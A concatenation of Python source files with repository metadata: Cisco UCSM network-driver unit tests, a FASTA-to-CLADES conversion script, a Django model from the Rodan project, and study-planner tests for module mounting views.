self.ucsm_config.ucsm_host_dict key = (cfg.CONF.ml2_cisco_ucsm.ucsm_ip, 'Host1') self.assertIn(key, ucsm_sp_dict) self.assertEqual(expected_sp1, ucsm_sp_dict[key]) self.assertIn('Host1', ucsm_host_dict) self.assertEqual(expected_ip, ucsm_host_dict['Host1']) key = (cfg.CONF.ml2_cisco_ucsm.ucsm_ip, 'Host2') self.assertIn(key, ucsm_sp_dict) self.assertEqual(expected_sp2, ucsm_sp_dict.get(key)) self.assertEqual(expected_ip, ucsm_host_dict.get('Host2')) key = (cfg.CONF.ml2_cisco_ucsm.ucsm_ip, 'Host3') self.assertNotIn(key, ucsm_sp_dict) self.assertIsNone(ucsm_host_dict.get('Host3')) def test_parse_virtio_eth_ports(self): """Verifies eth_port_list contains a fully-formed path.""" cfg.CONF.ml2_cisco_ucsm.ucsm_ip = '1.1.1.1' cfg.CONF.ml2_cisco_ucsm.ucsm_virtio_eth_ports = ['test-eth1', 'test-eth2'] eth_port_list = self.ucsm_config.get_ucsm_eth_port_list("1.1.1.1") self.assertNotIn('test-eth1', eth_port_list) self.assertIn(const.ETH_PREFIX + 'test-eth1', eth_port_list) def test_ucsm_host_config_with_path(self): """Verifies that ucsm_host_list can contain SP paths.""" expected_service_profile1 = 'org-root/ls-SP1' expected_service_profile2 = 'org-root/sub-org1/ls-SP2' cfg.CONF.ml2_cisco_ucsm.ucsm_ip = '1.1.1.1' cfg.CONF.ml2_cisco_ucsm.ucsm_host_list = {'Host1': 'SP1', 'Host2': 'org-root/sub-org1/ls-SP2'} ucsm_sp_dict = self.ucsm_config.ucsm_sp_dict key = ('1.1.1.1', 'Host1') actual_service_profile1 = ucsm_sp_dict.get(key) self.assertEqual(expected_service_profile1, actual_service_profile1) key = ('1.1.1.1', 'Host2') actual_service_profile2 = ucsm_sp_dict.get(key) self.assertEqual(expected_service_profile2, actual_service_profile2) def test_host_id_to_hostname(self): """Verifies extraction of hostname from host-id from Nova.""" host_id_with_domain1 = 'compute1.cisco.com' expected_hostname1 = 'compute1' hostname = self.mech_driver._get_host_id( host_id_with_domain1) self.assertEqual(expected_hostname1, hostname) host_id_with_domain2 = 'compute2.localdomain' expected_hostname2 = 'compute2' hostname = self.mech_driver._get_host_id( host_id_with_domain2) self.assertEqual(expected_hostname2, hostname) host_id3 = 'compute3' hostname = self.mech_driver._get_host_id(host_id3) self.assertEqual(host_id3, hostname) def test_port_profile_delete_table_add(self): """Verifies that add and get of 1 PP to delete table works.""" self.db.add_port_profile_to_delete_table('OS-PP-100', '10.10.10.10') self.assertTrue(self.db.has_port_profile_to_delete('OS-PP-100', '10.10.10.10')) def test_pp_delete_table_add_multiple(self): """Verifies that add and get of multiple PPs to delete table works.""" self.db.add_port_profile_to_delete_table("OS-PP-100", "10.10.10.10") self.db.add_port_profile_to_delete_table("OS-PP-200", "10.10.10.10") all_pps = self.db.get_all_port_profiles_to_delete() for pp in all_pps: self.assertEqual("10.10.10.10", pp.device_id) def test_remove_port_profile_from_table(self): """Verifies that removing entry from PP delete table works.""" self.db.add_port_profile_to_delete_table("OS-PP-100", "10.10.10.10") self.db.remove_port_profile_to_delete("OS-PP-100", "10.10.10.10") self.assertFalse(self.db.has_port_profile_to_delete("OS-PP-100", "10.10.10.10")) def test_remove_non_existent_port_profile_from_table(self): """Verifies that removing previously deleted PP works.""" self.assertIsNone(self.db.remove_port_profile_to_delete( "OS-PP-100", "10.10.10.10")) def test_port_profile_delete_on_ucsm(self): """Verifies that the PP delete retry logic.""" handle = FakeUcsmHandle(PORT_PROFILE_1) # 1st call to delete_port_profile is designed to not find # the PP on the UCSM self.ucsm_driver._delete_port_profile( handle, PORT_PROFILE_1, UCSM_IP_ADDRESS_1) # No entry added to the PP delete table self.assertFalse(self.ucsm_driver.ucsm_db.has_port_profile_to_delete( PORT_PROFILE_1, UCSM_IP_ADDRESS_1)) # 2nd call to delete_port_profile is designed to raise exception self.ucsm_driver._delete_port_profile( handle, PORT_PROFILE_1, UCSM_IP_ADDRESS_1) # Failed delete results in entry being created in the PP delete table self.assertTrue(self.ucsm_driver.ucsm_db.has_port_profile_to_delete( PORT_PROFILE_1, UCSM_IP_ADDRESS_1)) def test_add_sp_template_config_to_db(self): """Verifies the SP template dict has been created properly.""" host_id = HOST1 ucsm_ip = UCSM_IP_ADDRESS_1 sp_template_with_path = "/org-root/test/ls-SP-Test" sp_template_info = sp_template_with_path.rsplit('/', 1) self.ucsm_config.update_sp_template_config(host_id, ucsm_ip, sp_template_with_path) self.assertIsNotNone( self.ucsm_config.get_sp_template_for_host(host_id)) self.assertEqual(sp_template_info[1], self.ucsm_config.get_sp_template_for_host(host_id)) self.assertEqual(sp_template_info[0], self.ucsm_config.get_sp_template_path_for_host(host_id)) def test_get_ucsm_ip_for_host_success(self): """Verfies that ucsm_ip to Service Profile mapping is successful.""" host_id = HOST1 ucsm_ip = UCSM_IP_ADDRESS_1 sp_template_with_path = "/org-root/test/ls-SP-Test" self.ucsm_config.update_sp_template_config(host_id, ucsm_ip, sp_template_with_path) self.assertEqual(ucsm_ip, self.ucsm_driver.get_ucsm_ip_for_host( host_id)) def test_get_ucsm_ip_for_host_failure(self): """Tests that case where UCSM does not control this host.""" def new_learn_sp_and_template_for_host(mech_instance, host_id): return None mock.patch.object(ucsm_network_driver.CiscoUcsmDriver, '_learn_sp_and_template_for_host', new=new_learn_sp_and_template_for_host).start() self.assertIsNone(self.ucsm_driver.get_ucsm_ip_for_host('Hostname3')) def test_learn_sp_and_template_for_host_exp(self): """Tests case where reading config from UCSM generates exception.""" host_id = HOST1 def mocked_connect(self, ucsm_ip): handle = mock.Mock() return handle mock.patch.object(ucsm_network_driver.CiscoUcsmDriver, 'ucs_manager_connect', new=mocked_connect).start() self.assertRaises(exceptions.UcsmConfigReadFailed, self.ucsm_driver._learn_sp_and_template_for_host, host_id) def test_learn_sp_and_template_for_host_error(self): """Tests case where learning config from UCSM gives diff host.`""" host_id = HOST1 def mocked_connect(self, ucsm_ip): handle = FakeUcsmHandle(PORT_PROFILE_1, FakeServer(HOST2)) return handle mock.patch.object(ucsm_network_driver.CiscoUcsmDriver, 'ucs_manager_connect', new=mocked_connect).start() self.assertIsNone( self.ucsm_driver._learn_sp_and_template_for_host(host_id)) def test_learn_sp_and_template_for_host_success(self): """Tests case where learning config from UCSM gives correct host.`""" host_id = HOST1 expected_ucsm_ip = '2.2.2.2' def mocked_connect(self, ucsm_ip): if ucsm_ip == expected_ucsm_ip: handle = FakeUcsmHandle() else: handle = FakeUcsmHandle(invalid_classid=True) return handle mock.patch.object(ucsm_network_driver.CiscoUcsmDriver, 'ucs_manager_connect', new=mocked_connect).start() actual_ucsm_ip = self.ucsm_driver._learn_sp_and_template_for_host( host_id) self.assertEqual(expected_ucsm_ip, actual_ucsm_ip) # Resetting the ucsm_host_dict value to what the other tests expect. self.ucsm_driver.ucsm_host_dict[HOST1] = '1.1.1.1' def test_parsing_of_single_ucsm_config(self): """Verifies parsing of expected single UCSM config parameters.""" # Single UCSM config parameters. cfg.CONF.ml2_cisco_ucsm.ucsm_ip = "1.1.1.1" cfg.CONF.ml2_cisco_ucsm.ucsm_username = "user1" cfg.CONF.ml2_cisco_ucsm.ucsm_password = "password1" cfg.CONF.ml2_cisco_ucsm.ucsm_virtio_eth_ports = ["eth0", "eth1"] expected_parsed_virtio_eth_ports = ["/ether-eth0", "/ether-eth1"] ucsm_config = conf.UcsmConfig() username, password = ucsm_config.get_credentials_for_ucsm_ip( cfg.CONF.ml2_cisco_ucsm.ucsm_ip) self.assertEqual(username, cfg.CONF.ml2_cisco_ucsm.ucsm_username) self.assertEqual(password, cfg.CONF.ml2_cisco_ucsm.ucsm_password) virtio_port_list = ucsm_config.get_ucsm_eth_port_list( cfg.CONF.ml2_cisco_ucsm.ucsm_ip) self.assertEqual(expected_parsed_virtio_eth_ports, virtio_port_list) # Check to see that SSL certificate checking is set to True by default self.assertTrue(cfg.CONF.ml2_cisco_ucsm.ucsm_https_verify) def test_parsing_of_single_ucsm_vnic_template_config(self): """Verifies parsing of single UCSM vNIC Template config.""" # Single UCSM config parameters. cfg.CONF.ml2_cisco_ucsm.ucsm_ip = "1.1.1.1" cfg.CONF.ml2_cisco_ucsm.ucsm_username = "user1" cfg.CONF.ml2_cisco_ucsm.ucsm_password = "password1" cfg.CONF.ml2_cisco_ucsm.ucsm_virtio_eth_ports = ["eth0", "eth1"] cfg.CONF.ml2_cisco_ucsm.vnic_template_list = ( 'physnet1:top-root:Test-VNIC1 ' 'physnet2:org-root/org-Test-Sub:Test-VNIC2 ' 'physnet3::Test-VNIC3') # Expected values after parsing of config parametrs expected_vnic_template1 = ('org-root/org-Test-Sub', 'Test-VNIC2') expected_vnic_template2 = [ ('top-root', 'Test-VNIC1'), ('org-root/org-Test-Sub', 'Test-VNIC2'), ('org-root', 'Test-VNIC3') ] ucsm_config = conf.UcsmConfig() ucsm_config.vnic_template_dict = {} # Verify parsing of VNIC Template config self.assertTrue(ucsm_config.is_vnic_template_configured()) vnic_template1 = ucsm_config.get_vnic_template_for_physnet( cfg.CONF.ml2_cisco_ucsm.ucsm_ip, "physnet2") self.assertEqual(expected_vnic_template1, vnic_template1) vnic_template2 = ucsm_config.get_vnic_template_for_ucsm_ip( cfg.CONF.ml2_cisco_ucsm.ucsm_ip) self.assertEqual(expected_vnic_template2, vnic_template2) vnic_template_path, vnic_template = ( ucsm_config.get_vnic_template_for_physnet("1.1.1.1", "physnet1")) vnic_templ_full_path1 = (vnic_template_path + const.VNIC_TEMPLATE_PREFIX + str(vnic_template)) expected_vnic_templ_full_path1 = "top-root/lan-conn-templ-Test-VNIC1" self.assertEqual(expected_vnic_templ_full_path1, vnic_templ_full_path1) vnic_template_path, vnic_template = ( ucsm_config.get_vnic_template_for_physnet("1.1.1.1", "physnet2")) vnic_templ_full_path1 = (vnic_template_path + const.VNIC_TEMPLATE_PREFIX + str(vnic_template)) expected_vnic_templ_full_path1 = ( "org-root/org-Test-Sub/lan-conn-templ-Test-VNIC2") self.assertEqual(expected_vnic_templ_full_path1, vnic_templ_full_path1) vnic_template_path, vnic_template = ( ucsm_config.get_vnic_template_for_physnet("1.1.1.1", "physnet3")) vnic_templ_full_path1 = (vnic_template_path + const.VNIC_TEMPLATE_PREFIX + str(vnic_template)) expected_vnic_templ_full_path1 = "org-root/lan-conn-templ-Test-VNIC3" self.assertEqual(expected_vnic_templ_full_path1, vnic_templ_full_path1) def test_parsing_of_single_ucsm_sp_template_config(self): """Verifies parsing of single UCSM SP Template config.""" # Single UCSM config parameters. cfg.CONF.ml2_cisco_ucsm.ucsm_ip = "1.1.1.1" cfg.CONF.ml2_cisco_ucsm.ucsm_username = "user1" cfg.CONF.ml2_cisco_ucsm.ucsm_password = "password1" cfg.CONF.ml2_cisco_ucsm.ucsm_virtio_eth_ports = ["eth0", "eth1"] cfg.CONF.ml2_cisco_ucsm.sp_template_list = ( 'SP_Template1_path:SP_Template1:Host11,Host12 ' 'SP_Template2_path:SP_Template2:Host21,Host22') ucsm_config = conf.UcsmConfig() # Verify parsing of SP Template config self.assertTrue(ucsm_config.is_service_profile_template_configured()) # Test all the utility methods to glean information # from sp_template_dict expected_sp_template_path = "SP_Template1_path" sp_template_path = ucsm_config.get_sp_template_path_for_host("Host11") self.assertEqual(expected_sp_template_path, sp_template_path) expected_sp_template = "SP_Template1" sp_template = ucsm_config.get_sp_template_for_host("Host12") self.assertEqual(expected_sp_template, sp_template) expected_ucsm_ip = "1.1.1.1" ucsm_ip = ucsm_config.get_ucsm_ip_for_sp_template_host("Host21") self.assertEqual(expected_ucsm_ip, ucsm_ip) expected_sp_template_list = [ ('1.1.1.1', 'SP_Template2_path', 'SP_Template2'), ('1.1.1.1', 'SP_Template1_path', 'SP_Template1'), ] sp_template_list = ucsm_config.get_sp_template_list_for_ucsm("1.1.1.1") for entry in expected_sp_template_list: self.assertIn(entry, sp_template_list) expected_sp_template_list = [] sp_template_list = ucsm_config.get_sp_template_list_for_ucsm("2.2.2.2") self.assertEqual(expected_sp_template_list, sp_template_list)

41.944862

79

0.650056

4a07da572cce21f339ac55c7a21fc0797da17e24

5,162

py

Python

multifasta2clades.py

tkchafin/file_converters

635beec418bd4593bb6f724e289ab939633c00c3

[ "MIT" ]

1

2020-11-17T06:19:29.000Z

multifasta2clades.py

tkchafin/file_converters

635beec418bd4593bb6f724e289ab939633c00c3

[ "MIT" ]

2

2018-11-03T20:50:31.000Z

2021-09-15T15:18:11.000Z

multifasta2clades.py

tkchafin/file_converters

635beec418bd4593bb6f724e289ab939633c00c3

[ "MIT" ]

1

2020-06-22T20:51:46.000Z

#!/usr/bin/env python # Script written by Bradley T. Martin, PhD Candidate, University of Arkansas. # Please report any issues or bugs to btm002@email.uark.edu import argparse # parse command-line arguments. import os # needed for listing directory of fasta files. import sys # used for exiting if conditions not met. from Bio import AlignIO # to read fasta files. def main(): args = Get_Arguments() # uses argparse. popmap = read_popmap(args.popmap) indcount = len(popmap) with open(args.outfile, "w") as fout: fout.write("\n\n") # Write two empty lines at beginning of file. for filename in os.listdir(args.dir): fas = read_fasta(filename, args.dir) # Uses biopython AlignIO alnLen = fas.get_alignment_length() # Gets max length of each alignment ninds = len(fas) # Gets number of sequences header = "{} {}".format(indcount, alnLen) # Make header for each locus. indlist = list() with open(args.outfile, "a") as fout: fout.write(header + "\n") # If present in popmap: get list of individuals new_popmap = {k.id: popmap[k.id] for k in fas if k.id in popmap} ind_id_list = [record.id for record in fas] # For finding individual missing from alignment missing_inds = dict() for k, v in popmap.items(): if k not in ind_id_list: missing_inds[k] = v indlist = list(("{}^{}".format(key, value) for key, value in new_popmap.items())) missing_ind_list = list(("{}^{}".format(key, value) for key, value in missing_inds.items())) # Makes new dictionary in format of ind1^pop1 new_fasta_dict = dict() for ind in indlist: first = ind.split("^") for record in fas: if first[0] == record.id: new_fasta_dict[ind] = str(record.seq) # Write all dashes for missing indivuals. length = alnLen missing_seq = repeat_to_length("-", alnLen) missing_dict = {k: missing_seq for k in missing_ind_list} # Add individuals with all missing data to dictionary new_fasta_dict.update(missing_dict) for key in sorted(new_fasta_dict): fout.write("{}\t{}\n".format(key, new_fasta_dict[key])) fout.write("\n\n") def repeat_to_length(string_to_expand, length): return (string_to_expand * ((length/len(string_to_expand))+1))[:length] def read_popmap(filename): """ Function to read a two-column tab-separated file and save the first column as dictionary keys and second as values. Input: filename Returns: dictionary[col1] = col2. """ mydict = dict() with open(filename, "r") as fin: for line in fin: # Read file line by line. line = line.strip() if not line: continue cols = line.split() mydict[cols[0]] = cols[1] # Make dictionary from popmap. return mydict def read_fasta(filename, mydir): """ Reads fasta file using biopython's AlignIO. Used in generator with directory of fasta files. Inputs: filename, directory of input files. Returns: file contents. """ # Remove forward slash if present. if mydir.endswith("/"): mydir = mydir[:-1] mypath = str(mydir) + "/" + str(filename) file = AlignIO.read(open(mypath), 'fasta') # from biopython return file def Get_Arguments(): """ Parse command-line arguments. Imported with argparse. Returns: object of command-line arguments. """ parser = argparse.ArgumentParser(description="Converts directory of FASTA files to input file for CLADES for species delimitation", add_help=False) required_args = parser.add_argument_group("Required Arguments") optional_args = parser.add_argument_group("Optional Arguments") ## Required Arguments required_args.add_argument("-d", "--dir", type=str, required=True, help="Specify directory containing only input FASTA files.") required_args.add_argument("-o", "--outfile", type=str, required=True, help="String; Specify output CLADES filename") required_args.add_argument("-p", "--popmap", type=str, required=True, help="String; Specify two-column tab-delimited popmap file: IndID\tPopID; no header line.") optional_args.add_argument("-h", "--help", action="help", help="Displays this help menu") # If no arguments specified print help and die. if len(sys.argv)==1: print("\nExiting because no command-line options were called.\n") parser.print_help(sys.stderr) sys.exit(1) args = parser.parse_args() return args if __name__ == "__main__": main()

37.955882

151

0.591437

4a07dadf8d4d47a51dde0ead2a3a18540ebd394d

2,228

py

Python

rodan/models/input.py

carrieeex/Rodan

458e72990c2571fa727a0d026fb235faf30bffec

[ "MIT" ]

31

2015-01-06T17:23:45.000Z

2022-03-30T02:46:16.000Z

rodan/models/input.py

carrieeex/Rodan

458e72990c2571fa727a0d026fb235faf30bffec

[ "MIT" ]

258

2015-01-02T19:34:57.000Z

2022-01-19T16:34:21.000Z

rodan/models/input.py

carrieeex/Rodan

458e72990c2571fa727a0d026fb235faf30bffec

[ "MIT" ]

8

2015-08-19T16:09:31.000Z

2021-10-03T23:46:46.000Z

from django.db import models from rodan.models.inputporttype import InputPortType import uuid class Input(models.Model): """ Links a `RunJob` to one of its input `Resource`s. There must be one `Input` for each `InputPort` of the `WorkflowJob`. **Fields** - `uuid` - `input_port` -- a reference to an `InputPort`. It should be set to None when the original `InputPort` is deleted. - `input_port_type_name` -- a string containing the name of the `InputPortType`. - `resource` -- a field containing a reference to the precise `Resource` that this `RunJob` will act on. - `resource_list` -- a field containing a reference to the precise `ResourceList` that this `RunJob` will act on. - `run_job` -- a reference to the `RunJob` that will be executed. **Properties** - `input_port_type` -- the corresponding `InputPortType` object. """ class Meta: app_label = "rodan" permissions = (("view_input", "View Input"),) uuid = models.UUIDField(primary_key=True, editable=False, default=uuid.uuid4) input_port = models.ForeignKey( "rodan.InputPort", related_name="inputs", blank=True, null=True, on_delete=models.SET_NULL, db_index=True, ) input_port_type_name = models.CharField(max_length=255, db_index=True) resource = models.ForeignKey( "rodan.Resource", related_name="inputs", on_delete=models.PROTECT, db_index=True, null=True, blank=True, ) resource_list = models.ForeignKey( "rodan.ResourceList", related_name="inputs", on_delete=models.PROTECT, db_index=True, null=True, blank=True, ) run_job = models.ForeignKey( "rodan.RunJob", related_name="inputs", on_delete=models.CASCADE, db_index=True ) def __unicode__(self): return u"<Input {0}>".format(str(self.uuid)) @property def input_port_type(self): try: return InputPortType.objects.get( job__name=self.run_job.job_name, name=self.input_port_type_name ) except InputPortType.DoesNotExist: return None

30.520548

90

0.635099

4a07db19fb38a0ae86fefce2f12e8482e213f03d

17,783

py

Python

test/test_individual_module_mounting_backend.py

nus-mtp/another-cs-study-planner

02b52871a34f580b779ede08750f2d4e887bcf65

[ "MIT" ]

1

2017-04-30T17:59:08.000Z

test/test_individual_module_mounting_backend.py

nus-mtp/another-cs-study-planner

02b52871a34f580b779ede08750f2d4e887bcf65

[ "MIT" ]

87

2017-02-13T09:06:13.000Z

2017-04-14T09:23:08.000Z

test/test_individual_module_mounting_backend.py

nus-mtp/another-cs-study-planner

02b52871a34f580b779ede08750f2d4e887bcf65

[ "MIT" ]

1

2017-04-11T05:26:00.000Z

''' test_individual_module_mounting_backend.py Contains test cases related to backened functions for displaying an individual module's mounting ''' from nose.tools import assert_equal, assert_true from components.handlers.module_overview import ViewMod from components.handlers.module_view_in_ay_sem import IndividualModule from components import model class TestCode(object): ''' This class runs the test cases related to displaying an individual module's mounting. ''' def __init__(self): self.module_overview_handler = None self.current_ay = None self.next_ay = None def get_next_ay(self, ay): ''' Return the AY that comes after the current AY ''' ay = ay.split(' ')[1].split('/') return 'AY ' + str(int(ay[0])+1) + '/' + str(int(ay[1])+1) def setUp(self): ''' Add dummy modules and mountings into database ''' self.module_overview_handler = ViewMod() self.mounting_view_handler = IndividualModule() self.current_ay = model.get_current_ay() self.next_ay = self.get_next_ay(self.current_ay) # Dummy modules model.add_module('BB1001', 'Dummy Module 1', 'This module is mounted in both sems in both AYs.', 1, 'Active') model.add_module('BB1002', 'Dummy Module 2', 'This module is mounted in sem 1 only, in both AYs.', 2, 'Active') model.add_module('BB1003', 'Dummy Module 3', 'This module is mounted in sem 2 only, in both AYs.', 3, 'Active') model.add_module('BB1004', 'Dummy Module 4', 'This module is not mounted in any sem, in both AYs.', 4, 'Active') # Dummy fixed mountings model.add_fixed_mounting('BB1001', self.current_ay+' Sem 1', 10) model.add_fixed_mounting('BB1001', self.current_ay+' Sem 2', 20) model.add_fixed_mounting('BB1002', self.current_ay+' Sem 1', 30) model.add_fixed_mounting('BB1003', self.current_ay+' Sem 2', 40) # Dummy tentative mountings model.add_tenta_mounting('BB1001', self.next_ay+' Sem 1', 10) model.add_tenta_mounting('BB1001', self.next_ay+' Sem 2', 20) model.add_tenta_mounting('BB1002', self.next_ay+' Sem 1', 30) model.add_tenta_mounting('BB1003', self.next_ay+' Sem 2', 40) def tearDown(self): ''' Clean up the database after all test cases are ran ''' model.delete_fixed_mounting('BB1001', self.current_ay+' Sem 1') model.delete_fixed_mounting('BB1001', self.current_ay+' Sem 2') model.delete_fixed_mounting('BB1002', self.current_ay+' Sem 1') model.delete_fixed_mounting('BB1003', self.current_ay+' Sem 2') model.delete_tenta_mounting('BB1001', self.next_ay+' Sem 1') model.delete_tenta_mounting('BB1001', self.next_ay+' Sem 2') model.delete_tenta_mounting('BB1002', self.next_ay+' Sem 1') model.delete_tenta_mounting('BB1003', self.next_ay+' Sem 2') model.delete_module('BB1001') model.delete_module('BB1002') model.delete_module('BB1003') model.delete_module('BB1004') def test_mounted_in_both_sems(self): ''' Tests that a module that is mounted in both sems in both AYs will have the mounting values '1' and '1' for both AYs ''' test_module_code = "BB1001" self.module_overview_handler.load_fixed_mounting_plan(test_module_code) self.module_overview_handler.load_tenta_mounting_plan(test_module_code) fixed_mounting_plan = self.module_overview_handler.fixed_mounting_plan tenta_mounting_plan = self.module_overview_handler.tenta_mounting_plan assert_true(len(fixed_mounting_plan) == 2) assert_true(len(tenta_mounting_plan) > 0) fixed_sem_1_mounting_value = fixed_mounting_plan[0][1] fixed_sem_2_mounting_value = fixed_mounting_plan[1][1] fixed_sem_1_quota = fixed_mounting_plan[0][2] fixed_sem_2_quota = fixed_mounting_plan[1][2] assert_equal(fixed_sem_1_mounting_value, 1) assert_equal(fixed_sem_2_mounting_value, 1) assert_equal(fixed_sem_1_quota, 10) assert_equal(fixed_sem_2_quota, 20) tenta_sem_1_mounting_value = tenta_mounting_plan[0][1] tenta_sem_2_mounting_value = tenta_mounting_plan[1][1] tenta_sem_1_quota = tenta_mounting_plan[0][2] tenta_sem_2_quota = tenta_mounting_plan[1][2] assert_equal(tenta_sem_1_mounting_value, 1) assert_equal(tenta_sem_2_mounting_value, 1) assert_equal(tenta_sem_1_quota, 10) assert_equal(tenta_sem_2_quota, 20) self.mounting_view_handler.load_mounting_info(test_module_code, self.current_ay+' Sem 1') assert_equal(self.mounting_view_handler.mounting_status, 1) assert_equal(self.mounting_view_handler.quota, 10) self.mounting_view_handler.load_mounting_info(test_module_code, self.current_ay+' Sem 2') assert_equal(self.mounting_view_handler.mounting_status, 1) assert_equal(self.mounting_view_handler.quota, 20) self.mounting_view_handler.load_mounting_info(test_module_code, self.next_ay+' Sem 1') assert_equal(self.mounting_view_handler.mounting_status, 1) assert_equal(self.mounting_view_handler.quota, 10) self.mounting_view_handler.load_mounting_info(test_module_code, self.next_ay+' Sem 2') assert_equal(self.mounting_view_handler.mounting_status, 1) assert_equal(self.mounting_view_handler.quota, 20) def test_mounted_in_sem_1_only(self): ''' Tests that a module that is mounted in sem 1 only, in both AYs, will have the mounting values '1' and '-1' for both AYs ''' test_module_code = "BB1002" self.module_overview_handler.load_fixed_mounting_plan(test_module_code) self.module_overview_handler.load_tenta_mounting_plan(test_module_code) fixed_mounting_plan = self.module_overview_handler.fixed_mounting_plan tenta_mounting_plan = self.module_overview_handler.tenta_mounting_plan assert_true(len(fixed_mounting_plan) == 2) assert_true(len(tenta_mounting_plan) > 0) fixed_sem_1_mounting_value = fixed_mounting_plan[0][1] fixed_sem_2_mounting_value = fixed_mounting_plan[1][1] fixed_sem_1_quota = fixed_mounting_plan[0][2] fixed_sem_2_quota = fixed_mounting_plan[1][2] assert_equal(fixed_sem_1_mounting_value, 1) assert_equal(fixed_sem_2_mounting_value, -1) assert_equal(fixed_sem_1_quota, 30) assert_equal(fixed_sem_2_quota, '-') tenta_sem_1_mounting_value = tenta_mounting_plan[0][1] tenta_sem_2_mounting_value = tenta_mounting_plan[1][1] tenta_sem_1_quota = tenta_mounting_plan[0][2] tenta_sem_2_quota = tenta_mounting_plan[1][2] assert_equal(tenta_sem_1_mounting_value, 1) assert_equal(tenta_sem_2_mounting_value, -1) assert_equal(tenta_sem_1_quota, 30) assert_equal(tenta_sem_2_quota, '-') self.mounting_view_handler.load_mounting_info(test_module_code, self.current_ay+' Sem 1') assert_equal(self.mounting_view_handler.mounting_status, 1) assert_equal(self.mounting_view_handler.quota, 30) self.mounting_view_handler.load_mounting_info(test_module_code, self.current_ay+' Sem 2') assert_equal(self.mounting_view_handler.mounting_status, -1) assert_equal(self.mounting_view_handler.quota, '-') self.mounting_view_handler.load_mounting_info(test_module_code, self.next_ay+' Sem 1') assert_equal(self.mounting_view_handler.mounting_status, 1) assert_equal(self.mounting_view_handler.quota, 30) self.mounting_view_handler.load_mounting_info(test_module_code, self.next_ay+' Sem 2') assert_equal(self.mounting_view_handler.mounting_status, -1) assert_equal(self.mounting_view_handler.quota, '-') def test_mounted_in_sem_2_only(self): ''' Tests that a module that is mounted in sem 2 only, in both AYs, will have the mounting values '-1' and '1' for both AYs ''' test_module_code = "BB1003" self.module_overview_handler.load_fixed_mounting_plan(test_module_code) self.module_overview_handler.load_tenta_mounting_plan(test_module_code) fixed_mounting_plan = self.module_overview_handler.fixed_mounting_plan tenta_mounting_plan = self.module_overview_handler.tenta_mounting_plan assert_true(len(fixed_mounting_plan) == 2) assert_true(len(tenta_mounting_plan) > 0) fixed_sem_1_mounting_value = fixed_mounting_plan[0][1] fixed_sem_2_mounting_value = fixed_mounting_plan[1][1] fixed_sem_1_quota = fixed_mounting_plan[0][2] fixed_sem_2_quota = fixed_mounting_plan[1][2] assert_equal(fixed_sem_1_mounting_value, -1) assert_equal(fixed_sem_2_mounting_value, 1) assert_equal(fixed_sem_1_quota, '-') assert_equal(fixed_sem_2_quota, 40) tenta_sem_1_mounting_value = tenta_mounting_plan[0][1] tenta_sem_2_mounting_value = tenta_mounting_plan[1][1] tenta_sem_1_quota = tenta_mounting_plan[0][2] tenta_sem_2_quota = tenta_mounting_plan[1][2] assert_equal(tenta_sem_1_mounting_value, -1) assert_equal(tenta_sem_2_mounting_value, 1) assert_equal(tenta_sem_1_quota, '-') assert_equal(tenta_sem_2_quota, 40) self.mounting_view_handler.load_mounting_info(test_module_code, self.current_ay+' Sem 1') assert_equal(self.mounting_view_handler.mounting_status, -1) assert_equal(self.mounting_view_handler.quota, '-') self.mounting_view_handler.load_mounting_info(test_module_code, self.current_ay+' Sem 2') assert_equal(self.mounting_view_handler.mounting_status, 1) assert_equal(self.mounting_view_handler.quota, 40) self.mounting_view_handler.load_mounting_info(test_module_code, self.next_ay+' Sem 1') assert_equal(self.mounting_view_handler.mounting_status, -1) assert_equal(self.mounting_view_handler.quota, '-') self.mounting_view_handler.load_mounting_info(test_module_code, self.next_ay+' Sem 2') assert_equal(self.mounting_view_handler.mounting_status, 1) assert_equal(self.mounting_view_handler.quota, 40) def test_not_mounted(self): ''' Tests that a module that is not mounted in any sem, in both AYs, will have the mounting values '-1' and '-1' for both AYs ''' test_module_code = "BB1004" self.module_overview_handler.load_fixed_mounting_plan(test_module_code) self.module_overview_handler.load_tenta_mounting_plan(test_module_code) fixed_mounting_plan = self.module_overview_handler.fixed_mounting_plan tenta_mounting_plan = self.module_overview_handler.tenta_mounting_plan assert_true(len(fixed_mounting_plan) == 2) assert_true(len(tenta_mounting_plan) > 0) fixed_sem_1_mounting_value = fixed_mounting_plan[0][1] fixed_sem_2_mounting_value = fixed_mounting_plan[1][1] fixed_sem_1_quota = fixed_mounting_plan[0][2] fixed_sem_2_quota = fixed_mounting_plan[1][2] assert_equal(fixed_sem_1_mounting_value, -1) assert_equal(fixed_sem_2_mounting_value, -1) assert_equal(fixed_sem_1_quota, '-') assert_equal(fixed_sem_2_quota, '-') tenta_sem_1_mounting_value = tenta_mounting_plan[0][1] tenta_sem_2_mounting_value = tenta_mounting_plan[1][1] tenta_sem_1_quota = tenta_mounting_plan[0][2] tenta_sem_2_quota = tenta_mounting_plan[1][2] assert_equal(tenta_sem_1_mounting_value, -1) assert_equal(tenta_sem_2_mounting_value, -1) assert_equal(tenta_sem_1_quota, '-') assert_equal(tenta_sem_2_quota, '-') self.mounting_view_handler.load_mounting_info(test_module_code, self.current_ay+' Sem 1') assert_equal(self.mounting_view_handler.mounting_status, -1) assert_equal(self.mounting_view_handler.quota, '-') self.mounting_view_handler.load_mounting_info(test_module_code, self.current_ay+' Sem 2') assert_equal(self.mounting_view_handler.mounting_status, -1) assert_equal(self.mounting_view_handler.quota, '-') self.mounting_view_handler.load_mounting_info(test_module_code, self.next_ay+' Sem 1') assert_equal(self.mounting_view_handler.mounting_status, -1) assert_equal(self.mounting_view_handler.quota, '-') self.mounting_view_handler.load_mounting_info(test_module_code, self.next_ay+' Sem 2') assert_equal(self.mounting_view_handler.mounting_status, -1) assert_equal(self.mounting_view_handler.quota, '-') def test_unmounted_from_sem_1(self): ''' Tests that a module that is unmounted from sem 1 will have the tentative-mounting value of '0' for sem 1 ''' test_module_code = "BB1002" model.delete_tenta_mounting(test_module_code, self.next_ay+' Sem 1') self.module_overview_handler.load_fixed_mounting_plan(test_module_code) self.module_overview_handler.load_tenta_mounting_plan(test_module_code) tenta_mounting_plan = self.module_overview_handler.tenta_mounting_plan assert_true(len(tenta_mounting_plan) > 0) tenta_sem_1_mounting_value = tenta_mounting_plan[0][1] tenta_sem_1_quota = tenta_mounting_plan[0][2] assert_equal(tenta_sem_1_mounting_value, 0) assert_equal(tenta_sem_1_quota, '-') self.mounting_view_handler.load_mounting_info(test_module_code, self.current_ay+' Sem 1') assert_equal(self.mounting_view_handler.mounting_status, 1) assert_equal(self.mounting_view_handler.quota, 30) self.mounting_view_handler.load_mounting_info(test_module_code, self.next_ay+' Sem 1') 